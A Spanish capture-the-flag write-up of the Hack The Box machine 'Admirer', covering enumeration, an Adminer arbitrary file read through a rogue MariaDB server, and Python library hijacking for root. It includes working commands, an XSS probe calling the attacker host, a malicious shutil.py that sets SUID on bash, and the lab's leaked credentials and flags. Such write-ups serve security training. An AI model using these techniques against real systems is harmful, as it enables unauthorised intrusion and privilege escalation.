Inicio Admirer
Entrada
Cancelar

Admirer

Admirer

Desktop View

Improved skills

  • Exploiting MySQL Arbitrary File Read via Adminer
  • Python Library Hijacking

Used tools

  • nmap
  • gobuster
  • wfuzz
  • ffuf
  • MariaDB
  • SSH
  • ftp

Information Gathering

Scanned all TCP ports:

1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.8.174 -oG allPorts

Extact ports from grep file:

1
extactPorts allPorts

Desktop View nmap Recognise scripts:

1
nmap -sCV -p21,22,80 10.129.8.174 -oN targeted 

Desktop View


Enumeration

Port 21 - ftp vsftpd 3.0.3

Puerto 21 Con nmap nos daria informacion si el [[FTP]] se puede acceder anonimamente. Tambien podriamos con un comando.

1
nmap --script ftp-anon -p21 10.129.8.174

Pese a esto podemos buscar en searchsploit vsftpd para ver si hay alguna manera de explotarlo. Pero no hay para la version 3.0.3 de momento.

Port 22 - Codename OpenSSH 7.4p1 Debian 10+deb9u7

Puerto 22

Buscar en Internet: Launchpad Port 22 - OpenSSH 7.4p1 Debian 10+deb9u7 y nos da como Codename #Strech

Port 80 - http Apache httpd 2.4.25

Puerto 80

El vector de ataque ira por [[Remote Desktop]] ya que no tengo credenciales para ftp ni para ssh. Podemos usar [[whatweb]] a traves de comandos o [[Wappalyzer]] la extension del navegador.

1
whatweb -v 10.129.8.174

Option 1

Vemos un formulario por lo que podemos intentar un [[XSS Injection]] o con una pequeña traza. Para ello con python nos montamos un servidor web en un puerto a nuestra eleccion:

1
python3 -m http.server 8080

Y en el formulario que podemos enviar añadimos un script html:

1
<script src="http://10.10.14.49/pwned.js"></script>

Como el servidor no ha recibido nada detectamos que no es vulnerable y podemos desecharlo.

Option 2

El escaneo de nmap nos arrojo que existe robots.txt y /admin-dir lo comprobamos en el propio navegador. robots.txt arroja:

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

/admin-dir nos arojja un estado Forbidden por lo que si que existe pero no podemos acceder. Con nmap podemos ver qeu rutas devuelven un estado forbiden o OK y no un 404 not found.

1
nmap --script http-enum -p80 10.129.8.174

Para ver si tiene algun dominio, es decir, hacer un [[Web content enumeration]] podemos usar herramientas como gobuster. Podemos usar varias wordlists.

1
2
3
gobuster dir -u http://10.129.8.174 -w /usr/share/dirb/wordlists/big.txt
gobuster dir -u http://10.129.8.174 -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt -o Admire

O podemos usar varias herramientas (wfuzz, ffuf…)

1
ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://10.129.8.174/FUZZ
1
2
3
wfuzz -u http://10.129.8.174/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -c --hc=404 -t 200
#--hc=404: hide content codigo 404 not foun
#-t 200 : 200 hilos para realizar la tarea

Como no encuentra nada interesante y sabemos que /admin-dir esta dispobible lo haremos a ese directorio.

1
gobuster dir -u http://10.129.8.174/admin-dir/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -o admin-dir

Con wfuzz hubiera sido asi:

1
wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php-html-txt http://10.129.8.174/FUZZ.FUZ2Z

Encontramos dos archivos interesantes:

  • /contacts.txt
  • /credentials.txt Si visitamos 10.129.8.174/admin-dir/credentials.txt obtenemos: ```python [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P

[FTP account] ftpuser %n?4Wz}R$tTF7

[Wordpress account] admin w0rdpr3ss01!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Y con contacts.txt:
```python
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb

##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

Con esta informacion pasamos al siguiente paso.


Exploitation

A continuación, podemos extraer los usuarios a los nombres de usuario (agregando raíz), y guardar las contraseñas en passwords, e intentar un rociado de contraseñas contra SSH usando CrackMapExec. Extraemos los usuarios asi:

1
cat *.txt | grep @ | sed 's/Email: //' | awk -F"@" '{print $1}' > usernames  

Luego intentaríamos hacer ssh de esta manera (viene en la documentación pero no me funciono)

1
crackmapexec ssh 10.10.10.187 -u usernames -p passwords

Como en el archivo de credentials.txt hemos obtenido un usuario y contraseña de ftp probaremos con ello:

1
ftp 10.129.8.174

Como hemos obtenido acceso, listamos los archivos que hay con ==ls== y despues haremos un ==get== seguido del nombre del archivo, o un mget * para obtener todos los archivos. Cerramos con un quit.

Tenemos una base de datos y un archivo comprimido. Lo descomprimimos asi:

1
tar -xzf html.tar.gz

Entre las carpertas que corresponden directorios accesibles a traves de la URL encontramos utility-scripts que es la que tiene un contenido más interesante. Desktop View Con grep podemos buscar donde se menciona la palabra password para ver si en algun archivo esta. Para eso buscamos desde la raiz donde estan todas las carpetas descomprimidas-

1
grep -ir password | less -S

Desktop View

El resto de archivos php no tiene nada interesante, asi que podemos buscar con gobuster mas directorios:

1
gobuster dir -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://10.129.8.174/utility-scripts/ -x php,txt

Encontramos un archivo interesante. [[adminer]] Adminer es una base de datos MYSQL herramienta de administración, y podemos ingresar los detalles de la conexión, incluido el nombre del servidor

Desktop View En adminer.php nos pide el login a la base de datos. Necesitamos una serie de campos que podemos tener y si no le buscamos como database o dbname

Desktop View

Desktop View

Como mucha de estas credenciales salen de index.php hacemos cat al archivo y miramos que hay y encontramos:

1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

Tenemos distintas credenciales que hemos ido obteniendo probaremos cual funciona. Obtenemos que ninguna funciona. Busquemos vulnerabilidades para adminer 4.6.2 en Google y encontramos esta: https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability

Para aprovechar esto, necesitamos configurar un servidor MySQL en una máquina accesible bajo nuestro control, que contenga una base de datos, una tabla y una sola columna. Es decir creamos una base de datos. ==Tenemos que poner los siguientes comandos en sudo su== Con esto creamos una mariadb

1
systemctl start mariadb

Y con esto nos conectamos. Si da error es porque no somos usuario root.

1
mysql -u root

A continuación, podemos crear una base de datos y un usuario con menos privilegios que se puede usar para conectarse a ella de forma remota. Tenga en cuenta que especificamos backup@10.129.8.174 ya que backup@localhost sería un usuario diferente y no podría conectarse desde 10.129.8.174

1
2
3
CREATE DATABASE backup; USE backup; CREATE TABLE backup (name VARCHAR(2000));
CREATE USER 'backup'@'10.129.8.174' IDENTIFIED BY '<YOUR PASSWORD>';
GRANT ALL PRIVILEGES ON backup.* TO 'backup'@'10.129.8.174';

Luego, agregue una excepción en la política de firewall para permitir conexiones desde 10.10.10.187 al puerto 3306 localmente. Esto es fuera de MariaDB.

1
ufw allow from 10.10.10.187 to any port 3306

Ahora necesitamos configurar MariaDB para enlazar con nuestra dirección VPN tun0. Ejecute el siguiente comando para identificar los archivos de configuración de MySQL.

1
mysqld --help --verbose | less

El archivo /etc/mysql/my.cnf incluye archivos de configuración en el directorio /etc/mysql/mariadb.conf.d/ . Este contiene el archivo de configuración del servidor 50-server.cnf.

Desktop View

Cambie el valor de la dirección de enlace a su ==dirección IP tun0 con:==

1
sudo pico /etc/mysql/mariadb.conf.d/50-server.cnf  

Desktop View

Reinicie el servidor MariaDB y verifique que el servicio esté escuchando en la dirección IP correcta:

1
2
systemctl restart mariadb
netstat -pano | less

Y con eso ya podemos hacer login en adminer con las credenciales que hemos determinado y nuestra tun0.

Regresdando a MariaDB creamos una tabla con una columna:

1
create table data (output varchar(1024));

Como hemos creado una tabla, lo siguiente es desde el navegador, tener seleccionada la base de datos, y pinchar a la izquierda en Comando SQL. Y ahi escribimos lo siguiente:

1
2
load data local infile "../index.php"  
into table diego.data

Con eso demostramos que podemos acceder a los archivos. Y ademas podemos comprobar que la contraseña es distinta que la que teniamos anteriormente de waldo.

Desktop View

Con esto podemos entrar en la base de datos, cerrando sesion antes con la nuestra. Pero no hay información interesante. Probemos a ver si usa la misma contraseña en ssh.

Asi es,funciona:

Desktop View


Lateral Movement to user

Local Enumeration

No hay

Lateral Movement vector

No hay


Privilege Escalation

Local Enumeration

Lo primero que debe verificar son los vectores comunes de escalada de privilegios. Podemos automatizar esto usando LinPEAS Como ya tenemos descargado linpeash en ~/Descargas desde esa ruta abrimos un server con python:

1
python3 -m http.server 8000

Y desde el ssh de waldo nos vamos a /tmp y ahi hacemos un wget y ejecutamos linpeas:

1
2
3
cd /tmp
wget 10.10.14.49:8000/linpeas.sh
bash ./linpeas.sh

Esta herramienta nos da mucha informacion pero sobre todo nos dice esto que nos puede interesar:

Desktop View

Esa información es la misma que si hacemos:

1
sudo -l

Vamos hasta el archivo que podemos ver y hacemos cat: Si nuestro ID de usuario efectivo es 0, es decir, root, entonces podemos ejecutar varias tareas de copia de seguridad. Curiosamente, la función backup_web() ejecutará el archivo backup.py.

Al inspeccionar nuestros permisos de sudo, se encuentra que podemos ejecutar el script admin_tasks.sh como root. Además, se especifica la opción SETENV, que nos permite cambiar o añadir una variable de entorno.

Esta combinación de configuraciones presenta inadvertidamente una oportunidad de escalamiento de privilegios. Podemos crear una biblioteca de Python que defina la función make_archive que espera el script e intentar secuestrar la ejecución del script. Guarde el contenido a continuación en /dev/shm/shutil.py

Entonces podemos hacer un library hijacking.

Si volvemos a poner sudo -l nos podemos fijar que podemos hacer set a la variables de entorno.

Si miramos las variables de las librerías de python con:

1
python -c 'import sys;print sys.path'

Podemos ver sus librerías y con este comando podemos añadir:

1
export PYTHONPATH="/tmp" 

Ya con eso crearemos nuestro propio shutil.py para que cuando se ejecute admin_task la opción 6 que hace referencia a backup.py, para que cargue /tmp y ahí entraría en juego shutil.py.

1
2
3
4
5
 nano shutil.py
#Añadimos
import os

os.system("chmod u+s /bin/bash")

Si después de esto le pasamos al pythonpath el lugar donde esta el script

1
sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh

lo podremos ejecutar. En el programa elegimos la opción 6 que es la que ejecutar backupt.py Nos salta un error porque no es lo que esperaba. Pero si por detrás se ha ejecutado correctamente

Entonces si el root ha ejecutado ese script nos ha tenido que otorgar un privilegio uid a la bash. Lo comprobamos con:

1
ls -l /bin/bash

Entonces si ejecutamos la bash con el flag -p para convertirnos en propietarios

1
 bash -p

Con esto obtenemos ya la bash como propietarios, somos usuario root y podemos coger la flag.


Trophy & Loot

user.txt b169fcc4c5964852165dcb6e245c3447

root.txt ea21af6fa769340fadef75788b278be4

Esta entrada está licenciada bajo CC BY 4.0 por el autor.